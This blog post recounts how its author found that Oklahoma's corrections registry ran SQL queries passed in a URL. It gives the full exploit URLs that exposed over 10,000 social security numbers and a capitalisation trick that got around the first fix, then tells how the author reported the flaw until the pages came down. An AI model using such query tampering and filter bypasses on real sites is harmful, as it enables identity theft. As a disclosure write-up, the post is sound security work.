Comment On Oklahoma Leaks Tens of Thousands of Social Security Numbers, Other Sensitive Data

One of the cardinal rules of computer programming is to never trust your input. This holds especially true when your input comes from users, and even more so when it comes from the anonymous, general public. Apparently, the developers at Oklahoma’s Department of Corrections slept through that day in computer science class, and even managed to skip all of Common Sense 101. You see, not only did they trust anonymous user input on their public-facing website, but they blindly executed it and displayed whatever came back.

The result of this negligently bad coding has some rather serious consequences: the names, addresses, and social security numbers of tens of thousands of Oklahoma residents were made available to the general public for a period of at least three years. Up until yesterday, April 13 2008, anyone with a web browser and the knowledge from Chapter One of SQL For Dummies could have easily accessed – and possibly, changed – any data within the DOC’s databases. It took me all of a minute to figure out how to download 10,597 records – SSNs and all – from their website:

As the title of that last screenshot indicates, the records were made available through the state’s Sexual and Violent Offender Registry. For those unaware, the SVOR is a federally-mandated, publically-available registry designed to protect us from the truly horrendous specimens of humanity by forever branding those convicted of a certain crimes with a big “SO”. These registries also protect us from the truly unlucky offenders, such as fornicating teenagers, children who take nude pictures of themselves, and public urinators. But I digress. Not only did Oklahoma make avaiable the SSN of those types of offenders, but that of every type of offender in their system. It was all accessible through an innocent looking link on both the SVOR and Offender search pages:

Mousing over that "Print Friendly" link revealed this rather long URL:

http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlString=select distinct o.offender_id,doc_number,o.social_security_number,o.date_of_birth,o.first_name,o.middle_name,o.last_name,o.sir_name,sor_data.getCD(race) race,sor_data.getCD(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getCD(l.state) state,l.country countryid,sor_data.getCD(l.country) country,decode(habitual,'Y','habitual','') habitual,decode(aggravated,'Y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.jurisdiction from registration_offender_xref x, sor_last_locn_v lastLocn, sor_offender o, sor_location l , (select distinct offender_id from sor_location where status = 'Verified' and upper(zip) = '73064' ) h where lastLocn.offender_id(%2B) = o.offender_id and l.location_id(%2B) = lastLocn.location_id and x.offender_id = o.offender_id and x.status not in ('Merged') and x.REG_TYPE_ID = 1 and nvl(x.admin_validated,to_date(1,'J')) >= nvl(x.entry_date,to_date(1,'J')) and x.status = 'Active' and x.status <> 'Deleted' and h.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

And, of course, following that link brought up this rather innocent-looking page:

Now, those of you even vaguely familiar with SQL SELECT statements will notice the correlation. The absurdly long URL contained the database query used to display the page's data. The SELECT also included a few non-displayed columns such as "social_security_number" and "date_of_birth", and even had several conditionals to make sure that only Active records were returned. It doesn't take too much SQL knowledge to display "social_security_number" instead of "doc_number", remove the conditionals, and create a URL like this...

http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlString=select distinct o.offender_id,o.social_security_number doc_number,o.social_security_number,o.date_of_birth,o.first_name,o.middle_name,o.last_name,o.sir_name,sor_data.getCD(race) race,sor_data.getCD(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getCD(l.state) state,l.country countryid,sor_data.getCD(l.country) country,decode(habitual,'Y','habitual','') habitual,decode(aggravated,'Y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.jurisdiction from registration_offender_xref x, sor_last_locn_v lastLocn, sor_offender o, sor_location l where lastLocn.offender_id(%2B) = o.offender_id and l.location_id(%2B) = lastLocn.location_id and x.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

Following that URL loaded a 7MB page filled with 10,597 records, as seen in the first screen shot. It was an identity thief's dream, especially one who learned to target SO registries. According to the roster page's HTML comments, it's a wonder how many ID thiefs stumbled across this vulneability since Feb 3, 2005.

<!--
  PORTLET:  SOR_ROSTER
  Revision:  lsg/dl 020305
  Bug fix: these columns have been moved from sor_offender 
               to registration_offender_xref
changing o.registration_date     to x.registration_date
         o.end_registration_date to x.end_registration_date
         o.habitual              to x.habitual
         o.aggravated            to x.aggravated
  lsg/dl 9/19/05 public roster does not display address 
changing lstatus is null to lstatus = Verified
  lsg/dl 10/22/05 make name hyperlink to offender detail 
  lsg/dl 8/15/06 Modifications made for ADA 
                 Removed search criteria list (not working)
-->

Shortly after discovering this problem (thanks to reader AJ, who hesitantly pointed it out), I spent the following day working my way up the DOC's call tree. Eventually, I found my way to George Floyd and explained how bad of an idea it was to to have a SQL query as a parameter. Fortunately, he didn't accuse me of hacking their site. In fact, he seemed appreciative and promised to pass the details along to their developers.

The following day, both the SVOR and Offender Search were taken down "for routine maintenance". Great, I figured, they discovered an overlooked hole were working to patch it up. However, when the sites came back up, I noticed that that the "print-friendly page" still had a SQL query in the URL. Putting the "social_security_number" in, however, no longer displayed social security numbers. It took me all of ten seconds to figure out a way around their fix. This slightly-modified URL brought back all 10,597 SSNs once again:

http://docapp8.doc.state.ok.us/pls/portal30/url/page/sor_roster?sqlString=select distinct o.offender_id,o.Social_security_number doc_number,o.social_security_number,o.date_of_birth,o.first_name,o.middle_name,o.last_name,o.sir_name,sor_data.getCD(race) race,sor_data.getCD(sex) sex,l.address1 address,l.city,l.state stateid,l.zip,l.county,sor_data.getCD(l.state) state,l.country countryid,sor_data.getCD(l.country) country,decode(habitual,'Y','habitual','') habitual,decode(aggravated,'Y','aggravated','') aggravated,l.status,x.status,x.registration_date,x.end_registration_date,l.jurisdiction from registration_offender_xref x, sor_last_locn_v lastLocn, sor_offender o, sor_location l where lastLocn.offender_id(%2B) = o.offender_id and l.location_id(%2B) = lastLocn.location_id and x.offender_id = o.offender_id order by o.last_name,o.first_name,o.middle_name&sr=yes

Did you spot the difference? I used "Social_security_number" instead of "social_security_number". Their brilliant developers plugged this pothole with a pebble by doing nothing more than a case-sensisitve search/replace of "social_security_number" with "doc_number". Clearly, they had no idea why it was so bad to let any SELECT anything from their databases.

I emailed George again, this time explaining the problem much more clearly and advising in BOLD, RED, CAPS that the "roster page" should be taken down immediately. I also demonstrated the power of the ALL_TABLES table, the contents of an "interesting" table named MSD_MONTHLY_MEDICAL_ACTIVITY, and how even their information was available for all to see:

That, aparently, did the trick. Soon thereafter, the sites underwent "routine maintenance" and the "roster pages" were no more. I guess they weren't too thrilled about having their personal data up on the 'net for all to see.